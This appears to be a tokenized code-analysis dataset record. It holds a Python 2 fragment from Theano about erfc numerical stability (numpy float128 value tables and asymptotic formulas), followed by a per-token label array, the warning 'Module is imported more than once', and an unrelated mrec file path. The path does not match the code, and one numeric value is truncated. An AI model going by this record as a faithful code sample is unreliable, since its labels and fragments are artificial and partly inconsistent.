"\\", "10", ";", "for", " ", "i", " ", "in", " ", "xran", "ge", "(", "1", ",", "len", "(", "p3", "2", "))", ":", " ", "print", " ", "r", "[", "i", "],", " ", "p3", "2", "[", "i", "]-", "p3", "2", "[", "i", "-1", "]", "\\", "10", ";", "\\", "10", ";", "#", "float", "64", " ", "threshol", "d", " ", "is", " ", "26.", "6", "3", " ", "the", " ", "approx", " ", "seam", " ", "more", " ", "precise", " ", "at", " ", "tha", "t", "\\", "10", ";", "point", ".", " ", " ", "r", " ", "=", " ", "nump", "y", ".", "aran", "ge", "(", "26.", "2", ",", "26.", "7", ",.", "001", ")", "\\", "10", ";", "#", "sci", "py", ".", "special", ".", "erf", "c", "(", "nump", "y", ".", "float1", "2", "8", "(", "x", "))", " ", "don", "'", "t", " ", "work", "\\", "10", ";", "#", "p1", "2", "8", "=[", "(", "nump", "y", ".", "exp", "(-", "(", "x", "**", "2", ")))", "/", "sci", "py", ".", "special", ".", "erf", "c", "(", "x", ")", "for", " ", "x", " ", "in", "\\", "10", ";", "nump", "y", ".", "float1", "2", "8", "(", "r", ")]", " ", "#", "tho", "se", " ", "value", " ", "have", " ", "bee", "n", " ", "compute", "d", " ", "with", " ", "g", "++", "\\", "10", ";", "theano", "/", "misc", "/", "erf", "c\\u", "stability", "\\u", "threshol", "d", ".", "c", " ", "&&", " ", "./", "a", ".", "out", "\\", "10", ";", "p1", "2", "8", "=", "nump", "y", ".", "float1", "2", "8", "([", "'", "46.", "472", "067", "25", "',", " ", "'", "46.", "473", "838", "4", "2", "',", " ", "'", "46.", "475", "609", "5", "9", "',", "\\", "10", ";'", "46.", "477", "380", "7", "6", "',", " ", "'", "46.", "479", "151", "9", "3", "',", " ", "'", "46.", "480", "923", "09", "',", " ", "'", "46.", "482", "694", "2", "6", "',", "\\", "10", ";'", "46.", "484", "465", "4", "3", "',", " ", "'", "46.", "486", "236", "60", "',", " ", "'", "46.", "488", "007", "7", "7", "',", " ", "'", "46.", "489", "778", "9", "4", "',", "\\", "10", ";'", "46.", "491", "550", "11", "',", " ", "'", "46.", "493", "321", "2", "8", "',", " ", "'", "46.", "495", "092", "4", "5", "',", " ", "'", "46.", "496", "863", "6", "2", "',", "\\", "10", ";'", "46.", "498", "634", "7", "9", "',", " ", "'", "46.", "500", "405", "96", "',", " ", "'", "46.", "502", "177", "13", "',", " ", "'", "46.", "503", "948", "30", "',", "\\", "10", ";'", "46.", "505", "719", "4", "7", "',", " ", "'", "46.", "507", "490", "64", "',", " ", "'", "46.", "509", "261", "8", "1", "',", " ", "'", "46.", "511", "032", "98", "',", "\\", "10", ";'", "46.", "512", "804", "15", "',", " ", "'", "46.", "514", "575", "32", "',", " ", "'", "46.", "516", "346", "4", "9", "',", " ", "'", "46.", "518", "1176", "6", "',", "\\", "10", ";'", "46.", "519", "8888", "3", "',", " ", "'", "46.", "521", "660", "00", "',", " ", "'", "46.", "523", "431", "1", "8", "',", " ", "'", "46.", "525", "202", "3", "5", "',", "\\", "10", ";'", "46.", "526", "973", "5", "2", "',", " ", "'", "46.", "528", "744", "6", "9", "',", " ", "'", "46.", "530", "515", "86", "',", " ", "'", "46.", "532", "287", "03", "',", "\\", "10", ";'", "46.", "534", "058", "20", "',", " ", "'", "46.", "535", "829", "3", "8", "',", " ", "'", "46.", "537", "600", "5", "5", "',", " ", "'", "46.", "539", "371", "7", "2", "',", "\\", "10", ";'", "46.", "541", "142", "89", "',", " ", "'", "46.", "542", "914", "0", "7", "',", " ", "'", "46.", "544", "685", "24", "',", " ", "'", "46.", "546", "456", "4", "1", "',", "\\", "10", ";'", "46.", "548", "227", "5", "8", "',", " ", "'", "46.", "549", "998", "7", "6", "',", " ", "'", "46.", "551", "769", "9", "3", "',", " ", "'", "46.", "553", "541", "10", "',", "\\", "10", ";'", "46.", "555", "312", "2", "7", "',", " ", "'", "46.", "557", "083", "4", "5", "',", " ", "'", "46.", "558", "854", "6", "2", "',", " ", "'", "46.", "560", "625", "7", "9", "',", "\\", "10", ";'", "46.", "562", "396", "9", "7", "',", " ", "'", "46.", "564", "168", "14", "',", " ", "'", "46.", "565", "939", "3", "1", "',", " ", "'", "46.", "567", "710", "4", "9", "',", "\\", "10", ";'", "46.", "569", "481", "6", "6", "',", " ", "'", "46.", "571", "252", "8", "3", "',", " ", "'", "46.", "5730", "240", "1", "',", " ", "'", "46.", "574", "795", "1", "8", "',", "\\", "10", ";'", "46.", "576", "566", "3", "6", "',", " ", "'", "46.", "578", "337", "5", "3", "',", " ", "'", "46.", "580", "1087", "1", "',", " ", "'", "46.", "581", "879", "88", "',", "\\", "10", ";'", "46.", "583", "651", "05", "',", " ", "'", "46.", "585", "422", "23", "',", " ", "'", "46.", "587", "193", "40", "',", " ", "'", "46.", "588", "964", "5", "8", "',", "\\", "10", ";'", "46.", "590", "735", "7", "5", "',", " ", "'", "46.", "592", "506", "9", "3", "',", " ", "'", "46.", "594", "278", "10", "',", " ", "'", "46.", "596", "049", "2", "8", "',", "\\", "10", ";'", "46.", "597", "820", "4", "5", "',", " ", "'", "46.", "599", "591", "6", "3", "',", " ", "'", "46.", "601", "362", "80", "',", " ", "'", "46.", "603", "133", "98", "',", "\\", "10", ";'", "46.", "604", "905", "16", "',", " ", "'", "46.", "606", "676", "3", "3", "',", " ", "'", "46.", "608", "447", "5", "1", "',", " ", "'", "46.", "610", "218", "6", "8", "',", "\\", "10", ";'", "46.", "611", "989", "86", "',", " ", "'", "46.", "613", "761", "04", "',", " ", "'", "46.", "615", "532", "21", "',", " ", "'", "46.", "617", "303", "3", "9", "',", "\\", "10", ";'", "46.", "619", "074", "56", "',", " ", "'", "46.", "620", "845", "7", "4", "',", " ", "'", "46.", "622", "616", "9", "2", "',", " ", "'", "46.", "624", "388", "09", "',", "\\", "10", ";'", "46.", "626", "159", "2", "7", "',", " ", "'", "46.", "627", "930", "4", "5", "',", " ", "'", "46.", "629", "701", "6", "3", "',", " ", "'", "46.", "631", "472", "80", "',", "\\", "10", ";'", "46.", "633", "243", "98", "',", " ", "'", "46.", "635", "015", "16", "',", " ", "'", "46.", "636", "786", "3", "3", "',", " ", "'", "46.", "638", "557", "5", "1", "',", "\\", "10", ";'", "46.", "640", "328", "6", "9", "',", " ", "'", "46.", "642", "099", "87", "',", " ", "'", "46.", "643", "871", "04", "',", " ", "'", "46.", "645", "642", "2", "2", "',", "\\", "10", ";'", "46.", "647", "413", "40", "',", " ", "'", "46.", "649", "184", "5", "8", "',", " ", "'", "46.", "650", "955", "7", "6", "',", " ", "'", "46.", "652", "726", "9", "3", "',", "\\", "10", ";'", "46.", "654", "498", "11", "',", " ", "'", "46.", "656", "269", "2", "9", "',", " ", "'", "46.", "658", "040", "4", "7", "',", " ", "'", "46.", "659", "811", "6", "5", "',", "\\", "10", ";'", "46.", "661", "582", "8", "3", "',", " ", "'", "46.", "663", "354", "01", "',", " ", "'", "46.", "665", "1251", "9", "',", " ", "'", "46.", "666", "896", "3", "6", "',", "\\", "10", ";'", "46.", "668", "667", "5", "4", "',", " ", "'", "46.", "670", "438", "7", "2", "',", " ", "'", "46.", "672", "209", "90", "',", " ", "'", "46.", "673", "981", "0", "8", "',", "\\", "10", ";'", "46.", "675", "752", "2", "6", "',", " ", "'", "46.", "677", "523", "4", "4", "',", " ", "'", "46.", "679", "294", "6", "2", "',", " ", "'", "46.", "681", "065", "80", "',", "\\", "10", ";'", "46.", "682", "836", "98", "',", " ", "'", "46.", "684", "608", "16", "',", " ", "'", "46.", "686", "379", "3", "4", "',", " ", "'", "46.", "688", "150", "5", "2", "',", "\\", "10", ";'", "46.", "689", "921", "7", "0", "',", " ", "'", "46.", "691", "692", "88", "',", " ", "'", "46.", "693", "464", "0", "6", "',", " ", "'", "46.", "695", "235", "24", "',", "\\", "10", ";'", "46.", "697", "006", "4", "2", "',", " ", "'", "46.", "698", "777", "60", "',", " ", "'", "46.", "700", "548", "7", "8", "',", " ", "'", "46.", "702", "319", "9", "7", "',", "\\", "10", ";'", "46.", "704", "091", "15", "',", " ", "'", "46.", "705", "862", "3", "3", "',", " ", "'", "46.", "707", "633", "5", "1", "',", " ", "'", "46.", "709", "404", "6", "9", "',", "\\", "10", ";'", "46.", "711", "175", "87", "',", " ", "'", "46.", "712", "947", "05", "',", " ", "'", "46.", "714", "718", "24", "',", " ", "'", "46.", "716", "489", "4", "2", "',", "\\", "10", ";'", "46.", "718", "260", "60", "',", " ", "'", "46.", "7200", "317", "8", "',", " ", "'", "46.", "721", "802", "96", "',", " ", "'", "46.", "723", "574", "14", "',", "\\", "10", ";'", "46.", "725", "345", "3", "3", "',", " ", "'", "46.", "727", "116", "5", "1", "',", " ", "'", "46.", "728", "887", "6", "9", "',", " ", "'", "46.", "730", "658", "87", "',", "\\", "10", ";'", "46.", "732", "430", "0", "6", "',", " ", "'", "46.", "734", "2012", "4", "',", " ", "'", "46.", "735", "972", "4", "2", "',", " ", "'", "46.", "737", "743", "6", "1", "',", "\\", "10", ";'", "46.", "739", "514", "7", "9", "',", " ", "'", "46.", "741", "285", "9", "7", "',", " ", "'", "46.", "743", "057", "15", "',", " ", "'", "46.", "744", "828", "3", "4", "',", "\\", "10", ";'", "46.", "746", "599", "5", "2", "',", " ", "'", "46.", "748", "370", "7", "0", "',", " ", "'", "46.", "750", "141", "89", "',", " ", "'", "46.", "751", "913", "0", "7", "',", "\\", "10", ";'", "46.", "753", "684", "2", "6", "',", " ", "'", "46.", "755", "455", "4", "4", "',", " ", "'", "46.", "757", "226", "6", "2", "',", " ", "'", "46.", "758", "997", "8", "1", "',", "\\", "10", ";'", "46.", "760", "768", "9", "9", "',", " ", "'", "46.", "762", "540", "1", "8", "',", " ", "'", "46.", "764", "311", "3", "6", "',", " ", "'", "46.", "766", "082", "5", "4", "',", "\\", "10", ";'", "46.", "767", "853", "7", "3", "',", " ", "'", "46.", "769", "624", "9", "1", "',", " ", "'", "46.", "771", "396", "10", "',", " ", "'", "46.", "773", "167", "2", "8", "',", "\\", "10", ";'", "46.", "774", "938", "4", "7", "',", " ", "'", "46.", "776", "709", "6", "5", "',", " ", "'", "46.", "778", "480", "84", "',", " ", "'", "46.", "780", "252", "02", "',", "\\", "10", ";'", "46.", "782", "023", "21", "',", " ", "'", "46.", "783", "794", "3", "9", "',", " ", "'", "46.", "785", "565", "5", "8", "',", " ", "'", "46.", "787", "336", "7", "7", "',", "\\", "10", ";'", "46.", "789", "1079", "5", "',", " ", "'", "46.", "790", "879", "14", "',", " ", "'", "46.", "792", "650", "32", "',", " ", "'", "46.", "794", "421", "5", "1", "',", "\\", "10", ";'", "46.", "796", "192", "6", "9", "',", " ", "'", "46.", "797", "963", "88", "',", " ", "'", "46.", "799", "735", "0", "7", "',", " ", "'", "46.", "801", "506", "25", "',", "\\", "10", ";'", "46.", "803", "277", "4", "4", "',", " ", "'", "46.", "805", "048", "6", "3", "',", " ", "'", "46.", "806", "819", "8", "1", "',", " ", "'", "46.", "808", "591", "00", "',", "\\", "10", ";'", "46.", "810", "362", "1", "9", "',", " ", "'", "46.", "812", "133", "3", "7", "',", " ", "'", "46.", "813", "904", "56", "',", " ", "'", "46.", "815", "675", "7", "5", "',", "\\", "10", ";'", "46.", "817", "446", "9", "3", "',", " ", "'", "46.", "819", "218", "1", "2", "',", " ", "'", "46.", "820", "989", "3", "1", "',", " ", "'", "46.", "822", "760", "50", "',", "\\", "10", ";'", "46.", "824", "531", "6", "8", "',", " ", "'", "46.", "826", "302", "87", "',", " ", "'", "46.", "828", "074", "0", "6", "',", " ", "'", "46.", "829", "845", "25", "',", "\\", "10", ";'", "46.", "831", "616", "4", "4", "',", " ", "'", "46.", "8333", "876", "2", "',", " ", "'", "46.", "835", "158", "8", "1", "',", " ", "'", "46.", "836", "930", "00", "',", "\\", "10", ";'", "46.", "838", "701", "1", "9", "',", " ", "'", "46.", "840", "472", "3", "8", "',", " ", "'", "46.", "842", "243", "5", "7", "',", " ", "'", "46.", "844", "014", "7", "5", "',", "\\", "10", ";'", "46.", "845", "785", "9", "4", "',", " ", "'", "46.", "847", "557", "13", "',", " ", "'", "46.", "849", "328", "32", "',", " ", "'", "46.", "851", "099", "5", "1", "',", "\\", "10", ";'", "46.", "852", "870", "7", "0", "',", " ", "'", "46.", "854", "641", "89", "',", " ", "'", "46.", "856", "413", "0", "8", "',", " ", "'", "46.", "858", "184", "2", "7", "',", "\\", "10", ";'", "46.", "859", "955", "4", "6", "',", " ", "'", "46.", "8617", "266", "5", "',", " ", "'", "46.", "863", "497", "84", "',", " ", "'", "46.", "865", "269", "03", "',", "\\", "10", ";'", "46.", "867", "040", "2", "2", "',", " ", "'", "46.", "868", "811", "4", "1", "',", " ", "'", "46.", "870", "582", "60", "',", " ", "'", "46.", "872", "353", "7", "9", "',", "\\", "10", ";'", "46.", "874", "124", "98", "',", " ", "'", "46.", "875", "896", "1", "7", "',", " ", "'", "46.", "877", "667", "3", "6", "',", " ", "'", "46.", "879", "438", "5", "5", "',", "\\", "10", ";'", "46.", "881", "209", "7", "4", "',", " ", "'", "46.", "882", "980", "9", "3", "',", " ", "'", "46.", "884", "752", "1", "2", "',", " ", "'", "46.", "886", "523", "3", "1", "',", "\\", "10", ";'", "46.", "888", "294", "50", "',", " ", "'", "46.", "890", "065", "6", "9", "',", " ", "'", "46.", "891", "836", "88", "',", " ", "'", "46.", "893", "608", "0", "7", "',", "\\", "10", ";'", "46.", "895", "379", "2", "7", "',", " ", "'", "46.", "897", "150", "4", "6", "',", " ", "'", "46.", "898", "921", "6", "5", "',", " ", "'", "46.", "900", "692", "84", "',", "\\", "10", ";'", "46.", "902", "464", "03", "',", " ", "'", "46.", "904", "235", "2", "2", "',", " ", "'", "46.", "906", "006", "4", "2", "',", " ", "'", "46.", "907", "777", "6", "1", "',", "\\", "10", ";'", "46.", "909", "548", "80", "',", " ", "'", "46.", "911", "319", "9", "9", "',", " ", "'", "46.", "913", "091", "1", "9", "',", " ", "'", "46.", "914", "862", "3", "8", "',", "\\", "10", ";'", "46.", "916", "633", "5", "7", "',", " ", "'", "46.", "918", "404", "7", "6", "',", " ", "'", "46.", "920", "175", "96", "',", " ", "'", "46.", "921", "947", "15", "',", "\\", "10", ";'", "46.", "923", "718", "3", "4", "',", " ", "'", "46.", "925", "489", "5", "3", "',", " ", "'", "46.", "927", "260", "7", "3", "',", " ", "'", "46.", "929", "031", "9", "2", "',", "\\", "10", ";'", "46.", "930", "803", "11", "',", " ", "'", "46.", "932", "574", "3", "1", "',", " ", "'", "46.", "934", "345", "50", "',", " ", "'", "46.", "936", "116", "6", "9", "',", "\\", "10", ";'", "46.", "937", "887", "89", "',", " ", "'", "46.", "939", "659", "0", "8", "',", " ", "'", "46.", "941", "430", "2", "8", "',", " ", "'", "46.", "943", "2014", "7", "',", "\\", "10", ";'", "46.", "944", "972", "6", "6", "',", " ", "'", "46.", "946", "743", "86", "',", " ", "'", "46.", "948", "515", "05", "',", " ", "'", "46.", "950", "286", "25", "',", "\\", "10", ";'", "46.", "952", "057", "4", "4", "',", " ", "'", "46.", "953", "828", "64", "',", " ", "'", "46.", "955", "599", "8", "3", "',", " ", "'", "46.", "957", "371", "03", "',", "\\", "10", ";'", "46.", "959", "142", "2", "2", "',", " ", "'", "46.", "960", "913", "4", "1", "',", " ", "'", "46.", "962", "684", "6", "1", "',", " ", "'", "46.", "964", "455", "8", "1", "',", "\\", "10", ";'", "46.", "966", "227", "00", "',", " ", "'", "46.", "967", "998", "20", "',", " ", "'", "46.", "969", "769", "3", "9", "',", " ", "'", "46.", "971", "540", "5", "9", "',", "\\", "10", ";'", "46.", "973", "311", "7", "8", "',", " ", "'", "46.", "975", "082", "98", "',", " ", "'", "46.", "976", "854", "1", "7", "',", " ", "'", "46.", "978", "625", "3", "7", "',", "\\", "10", ";'", "46.", "980", "396", "5", "7", "',", " ", "'", "46.", "982", "167", "7", "6", "',", " ", "'", "46.", "983", "938", "96", "',", " ", "'", "46.", "985", "710", "15", "',", "\\", "10", ";'", "46.", "987", "481", "3", "5", "',", " ", "'", "46.", "989", "252", "5", "5", "',", " ", "'", "46.", "991", "023", "7", "4", "',", " ", "'", "46.", "992", "794", "9", "4", "',", "\\", "10", ";'", "46.", "994", "566", "14", "',", " ", "'", "46.", "996", "337", "3", "3", "',", " ", "'", "46.", "998", "108", "5", "3", "',", " ", "'", "46.", "9998", "797", "3", "',", "\\", "10", ";'", "47.", "001", "650", "9", "2", "',", " ", "'", "47.", "003", "422", "1", "2", "',", " ", "'", "47.", "005", "193", "32", "',", " ", "'", "47.", "006", "964", "5", "2", "',", "\\", "10", ";'", "47.", "008", "735", "7", "1", "',", " ", "'", "47.", "010", "506", "9", "1", "',", " ", "'", "47.", "012", "278", "11", "',", " ", "'", "47.", "014", "049", "3", "1", "',", "\\", "10", ";'", "47.", "015", "820", "50", "',", " ", "'", "47.", "017", "591", "7", "0", "',", " ", "'", "47.", "019", "362", "90", "',", " ", "'", "47.", "0211", "341", "0", "',", "\\", "10", ";'", "47.", "022", "905", "30", "',", " ", "'", "47.", "024", "676", "4", "9", "',", " ", "'", "47.", "026", "447", "6", "9", "',", " ", "'", "47.", "028", "218", "89", "',", "\\", "10", ";'", "47.", "029", "990", "09", "',", " ", "'", "47.", "031", "761", "2", "9", "',", " ", "'", "47.", "033", "532", "4", "9", "',", " ", "'", "47.", "035", "303", "6", "9", "',", "\\", "10", ";'", "47.", "037", "074", "89", "',", " ", "'", "47.", "038", "846", "0", "8", "',", " ", "'", "47.", "040", "617", "2", "8", "',", " ", "'", "47.", "042", "388", "4", "8", "',", "\\", "10", ";'", "47.", "044", "159", "6", "8", "',", " ", "'", "47.", "045", "930", "88", "',", " ", "'", "47.", "047", "702", "0", "8", "',", " ", "'", "47.", "049", "473", "2", "8", "',", "\\", "10", ";'", "47.", "051", "244", "4", "8", "',", " ", "'", "47.", "053", "015", "6", "8", "',", " ", "'", "47.", "054", "786", "88", "',", " ", "'", "47.", "056", "558", "0", "8", "',", "\\", "10", ";'", "47.", "058", "329", "2", "8", "',", " ", "'", "47.", "060", "1004", "8", "',", " ", "'", "47.", "061", "871", "6", "8", "',", " ", "'", "47.", "063", "642", "88", "',", "\\", "10", ";'", "47.", "065", "414", "0", "8", "',", " ", "'", "47.", "067", "185", "2", "8", "',", " ", "'", "47.", "068", "956", "4", "8", "',", " ", "'", "47.", "070", "727", "6", "8", "',", "\\", "10", ";'", "47.", "072", "498", "88", "',", " ", "'", "47.", "074", "270", "09", "',", " ", "'", "47.", "076", "041", "2", "9", "',", " ", "'", "47.", "',", " ", "'", "47.", "079", "583", "6", "9", "',", "\\", "10", ";'", "47.", "081", "354", "89", "',", " ", "'", "47.", "083", "126", "09", "',", " ", "'", "47.", "084", "897", "2", "9", "',", " ", "'", "47.", "086", "668", "50", "',", "\\", "10", ";'", "47.", "088", "439", "7", "0", "',", " ", "'", "47.", "090", "210", "90", "',", " ", "'", "47.", "091", "982", "10", "',", " ", "'", "47.", "093", "753", "30", "',", "\\", "10", ";'", "47.", "095", "524", "50", "',", " ", "'", "47.", "097", "295", "7", "1", "',", " ", "'", "47.", "099", "066", "9", "1", "',", " ", "'", "47.", "1008", "381", "1", "',", "\\", "10", ";'", "47.", "1026", "093", "1", "',", " ", "'", "47.", "104", "380", "5", "2", "',", " ", "'", "47.", "106", "151", "7", "2", "',", " ", "'", "47.", "1079", "229", "2", "',", "\\", "10", ";'", "47.", "109", "694", "1", "2", "',", " ", "'", "47.", "111", "465", "3", "3", "',", " ", "'", "47.", "113", "236", "5", "3", "',", " ", "'", "47.", "115", "007", "7", "3", "',", "\\", "10", ";'", "47.", "116", "778", "9", "4", "',", " ", "'", "47.", "118", "550", "14", "',", " ", "'", "47.", "120", "321", "3", "4", "',", " ", "'", "47.", "122", "092", "5", "5", "',", "\\", "10", ";'", "47.", "123", "863", "7", "5", "',", " ", "'", "47.", "125", "634", "9", "5", "',", " ", "'", "47.", "127", "406", "16", "',", " ", "'", "47.", "129", "177", "3", "6", "',", "\\", "10", ";'", "47.", "130", "948", "5", "7", "',", " ", "'", "47.", "132", "719", "7", "7", "',", " ", "'", "47.", "134", "490", "9", "7", "',", " ", "'", "47.", "136", "262", "1", "8", "',", "\\", "10", ";'", "47.", "138", "033", "3", "8", "',", " ", "'", "47.", "139", "804", "5", "9", "',", " ", "'", "47.", "1415", "757", "9", "',", " ", "'", "47.", "143", "347", "00", "',", "\\", "10", ";'", "47.", "145", "118", "20", "',", " ", "'", "47.", "146", "889", "4", "1", "',", " ", "'", "47.", "148", "660", "6", "1", "',", " ", "'", "47.", "150", "431", "8", "2", "',", "\\", "10", ";'", "47.", "152", "2030", "2", "',", " ", "'", "47.", "153", "974", "23", "',", " ", "'", "47.", "155", "745", "4", "3", "',", " ", "'", "47.", "157", "516", "64", "',", "\\", "10", ";'", "47.", "159", "287", "84", "',", " ", "'", "47.", "161", "059", "05", "',", " ", "'", "47.", "162", "830", "25", "',", " ", "'", "47.", "164", "601", "4", "6", "',", "\\", "10", ";'", "47.", "166", "372", "6", "6", "',", " ", "'", "47.", "168", "143", "87", "',", " ", "'", "47.", "169", "915", "0", "8", "',", " ", "'", "47.", "171", "686", "2", "8", "',", "\\", "10", ";'", "47.", "173", "457", "4", "9", "',", " ", "'", "47.", "175", "228", "6", "9", "',", " ", "'", "47.", "176", "9999", "0", "',", " ", "'", "47.", "178", "771", "11", "',", "\\", "10", ";'", "47.", "180", "542", "3", "1", "',", " ", "'", "47.", "182", "313", "5", "2", "',", " ", "'", "47.", "184", "084", "7", "3", "',", " ", "'", "47.", "185", "855", "9", "3", "',", "\\", "10", ";'", "47.", "187", "627", "14", "',", " ", "'", "47.", "189", "398", "3", "5", "',", " ", "'", "47.", "191", "169", "56", "',", " ", "'", "47.", "192", "940", "7", "6", "',", "\\", "10", ";'", "47.", "194", "711", "9", "7", "',", " ", "'", "47.", "196", "483", "1", "8", "',", " ", "'", "47.", "198", "254", "3", "9", "',", " ", "'", "47.", "2000", "255", "9", "',", "\\", "10", ";'", "47.", "2017", "968", "0", "',", " ", "'", "47.", "203", "568", "01", "',", " ", "'", "47.", "205", "339", "2", "2", "',", " ", "'", "47.", "207", "110", "4", "2", "',", "\\", "10", ";'", "47.", "208", "881", "6", "3", "',", " ", "'", "47.", "210", "652", "84", "',", " ", "'", "47.", "212", "424", "05", "',", " ", "'", "47.", "214", "195", "2", "6", "',", "\\", "10", ";'", "47.", "215", "966", "4", "7", "',", " ", "'", "47.", "217", "737", "6", "7", "',", " ", "'", "47.", "219", "508", "88", "',", " ", "'", "47.", "221", "2800", "9", "',", "\\", "10", ";'", "47.", "223", "051", "30", "',", " ", "'", "47.", "224", "822", "5", "1", "',", " ", "'", "47.", "226", "593", "7", "2", "',", " ", "'", "47.", "228", "364", "9", "3", "',", "\\", "10", ";'", "47.", "230", "136", "14", "',", " ", "'", "47.", "231", "907", "3", "5", "',", " ", "'", "47.", "233", "678", "5", "5", "',", " ", "'", "47.", "235", "449", "7", "6", "',", "\\", "10", ";'", "47.", "237", "220", "9", "7", "',", " ", "'", "47.", "238", "992", "1", "8", "',", " ", "'", "47.", "240", "763", "3", "9", "',", " ", "'", "47.", "242", "534", "60", "',", "\\", "10", ";'", "47.", "244", "305", "8", "1", "',", " ", "'", "47.", "246", "077", "02", "',", " ", "'", "47.", "247", "848", "23", "',", " ", "'", "47.", "249", "619", "4", "4", "',", "\\", "10", ";'", "47.", "251", "390", "6", "5", "',", " ", "'", "47.", "253", "161", "86", "',", " ", "'", "47.", "254", "933", "0", "7", "',", " ", "'", "47.", "256", "704", "2", "9", "',", "\\", "10", ";'", "47.", "258", "475", "50", "',", " ", "'", "47.", "260", "246", "7", "1", "',", " ", "'", "47.", "262", "017", "9", "2", "',", " ", "'", "47.", "263", "789", "13", "',", "\\", "10", ";'", "47.", "265", "560", "3", "4", "',", " ", "'", "47.", "267", "331", "5", "5", "',", " ", "'", "47.", "269", "1027", "6", "',", " ", "'", "47.", "270", "873", "9", "7", "',", "\\", "10", ";'", "47.", "272", "645", "1", "8", "',", " ", "'", "47.", "274", "416", "40", "',", " ", "'", "47.", "276", "187", "6", "1", "',", " ", "'", "47.", "277", "958", "8", "2", "',", "\\", "10", ";'", "47.", "279", "730", "03", "',", " ", "'", "47.", "281", "501", "24", "',", " ", "'", "47.", "283", "272", "4", "6", "',", " ", "'", "47.", "285", "043", "6", "7", "',", "\\", "10", ";'", "47.", "286", "814", "88", "',", " ", "'", "47.", "288", "586", "09", "',", " ", "'", "47.", "290", "357", "30", "',", " ", "'", "47.", "292", "128", "5", "2", "',", "\\", "10", ";'", "47.", "293", "899", "7", "3", "',", " ", "'", "47.", "295", "670", "9", "4", "',", " ", "'", "47.", "297", "442", "15", "',", " ", "'", "47.", "299", "213", "3", "7", "',", "\\", "10", ";'", "47.", "300", "984", "5", "8", "',", " ", "'", "47.", "302", "755", "7", "9", "',", " ", "'", "47.", "304", "527", "01", "',", " ", "'", "47.", "306", "298", "2", "2", "',", "\\", "10", ";'", "47.", "308", "069", "4", "3", "',", " ", "'", "47.", "309", "840", "6", "5", "',", " ", "'", "47.", "311", "611", "86", "',", " ", "'", "47.", "313", "383", "0", "7", "',", "\\", "10", ";'", "47.", "315", "154", "2", "9", "',", " ", "'", "47.", "316", "925", "50", "',", " ", "'", "47.", "318", "696", "7", "1", "',", " ", "'", "47.", "320", "467", "9", "3", "',", "\\", "10", ";'", "47.", "322", "239", "14", "',", " ", "'", "47.", "324", "0103", "6", "',", " ", "'", "47.", "325", "781", "5", "7", "',", " ", "'", "47.", "327", "552", "7", "8", "',", "\\", "10", ";'", "47.", "329", "324", "00", "',", " ", "'", "47.", "331", "0952", "1", "',", " ", "'", "47.", "332", "866", "4", "3", "',", " ", "'", "47.", "334", "637", "64", "',", "\\", "10", ";'", "47.", "336", "408", "86", "',", " ", "'", "47.", "338", "1800", "7", "',", " ", "'", "47.", "339", "951", "2", "9", "',", " ", "'", "47.", "341", "722", "50", "',", "\\", "10", ";'", "47.", "343", "493", "7", "2", "',", " ", "'", "47.", "345", "264", "9", "3", "',", " ", "'", "47.", "347", "036", "15", "',", " ", "'", "47.", "348", "807", "3", "6", "',", "\\", "10", ";'", "47.", "350", "578", "5", "8", "',", " ", "'", "47.", "352", "349", "7", "9", "',", " ", "'", "47.", "354", "121", "01", "',", " ", "'", "47.", "355", "892", "23", "'])", "\\", "10", ";", "p6", "4", "=[", "(", "nump", "y", ".", "exp", "(-", "(", "x", "**", "2", ")))", "/", "sci", "py", ".", "special", ".", "erf", "c", "(", "x", ")", "for", " ", "x", " ", "in", " ", "r", "]", "\\", "10", ";", "a1", "2", "8", "=[", "x", "*(", "(", "1", "-1", "/(", "2", "*", "x", "**", "2", ")+", "3", "/(", "4", "*", "x", "**", "4", ")-", "15", "/(", "8", "*", "x", "**", "6", "))", "**", "(-", "1", "))\\", "10", ";", " ", " ", "*", "nump", "y", ".", "float1", "2", "8", "(", "nump", "y", ".", "sqrt", "(", "nump", "y", ".", "pi", "))\\", "10", ";", " ", " ", "for", " ", "x", " ", "in", " ", "nump", "y", ".", "asa", "rray", "(", "r", ",", "dt", "ype", "='", "float1", "2", "8", "')]", "\\", "10", ";", "a6", "4", "=[", "x", "*(", "(", "1", "-1", "/(", "2", "*", "x", "**", "2", ")+", "3", "/(", "4", "*", "x", "**", "4", ")-", "15", "/(", "8", "*", "x", "**", "6", ")+", "6", "3", "/(", "7", "*", "x", "**", "8", "))", "**", "(-", "1", "))\\", "10", ";", " ", "*", "nump", "y", ".", "sqrt", "(", "nump", "y", ".", "pi", ")", "\\", "10", ";", " ", "for", " ", "x", " ", "in", " ", "r", "]", " ", "for", " ", "a", ",", "b", ",", "c", ",", "d", " ", "in", " ", "zip", "(", "r", ",", "p1", "2", "8", ",", "p6", "4", ",", "a6", "4", "):", "print", " ", "a", ",", "b", ",", "c", ",", "d", ",", "c", "-", "b", ",", "d", "-", "b", "\\", "10", ";", "\\", "10", ";", "for", " ", "i", " ", "in", " ", "xran", "ge", "(", "1", ",", "len", "(", "p6", "4", "))", ":", " ", "print", " ", "i", ",", " ", "64", "[", "i", "]-", "p6", "4", "[", "i", "-1", "]", "\\", "10", ";", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2 ]
Module is imported more than once
Mendeley/mrec/mrec/parallel/item_similarity.py
